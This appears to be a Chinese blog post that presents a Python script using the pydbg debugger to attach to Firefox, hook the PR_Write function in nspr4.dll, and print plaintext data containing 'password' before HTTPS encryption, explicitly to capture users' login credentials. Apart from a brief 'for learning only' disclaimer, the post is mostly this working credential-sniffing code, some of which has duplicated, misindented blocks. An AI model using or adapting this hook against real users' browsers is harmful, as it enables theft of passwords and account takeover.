利用python的hook技术破解https

  • 利用python的hook技术破解https已关闭评论
  • 10 views
  • A+
所属分类:运维实战

摘要:    相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密...

 相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码

下面是源代码:


#!/ur/bin/env python 
from pydbg import * 
from pydbg.defines import * 

import utils 
import sys 

dbg = pydbg() 
found_firefox = False 
pattern = "password" 
def ssl_sniff( dbg, args ): 
    buffer = "" 
    offset = 0 
    while 1: 
        byte = dbg.read_process_memory( args[1] + offset, 1 ) 
        if byte != "\x00": 
            buffer += byte 
            offset += 1 
            continue 
        else: 
            break 
    if pattern in buffer: 
        print "Pre-Encrypted: %s" % buffer 
    return DBG_CONTINUE 
# 寻找firefox.exe的进程 
for (pid, name) in dbg.enumerate_processes(): 
    if name.lower() == "firefox.exe": 
        found_firefox = True 
        hooks = utils.hook_container() 
        dbg.attach(pid) 
        print "[*] Attaching to firefox.exe with PID: %d" % pid 
# 得到firefox的hook的 address 
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write") 
        if hook_address: 
# 添加hook的内容,包括他的pid,地址,嗅探类型
 
            hooks.add( dbg, hook_address, 2, ssl_sniff, None ) 
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address 
            break 
        else: 
            print "[*] Error: Couldn't resolve hook address." 
            sys.exit(-1) 
        if found_firefox: 
            print "[*] Hooks set, continuing process." 
            dbg.run() 
        else: 
                print "[*] Error: Couldn't find the firefox.exe process." 
                sys.exit(-1) 
                 
if found_firefox: 
    print "[*] Hooks set, continuing process." 
    dbg.run() 
else: 
    print "[*] Error: Couldn't find the firefox.exe process." 
    sys.exit(-1)

  • 我的微信
  • 微信扫一扫
  • weinxin
  • 微信公众号
  • 微信公众号扫一扫
  • weinxin
avatar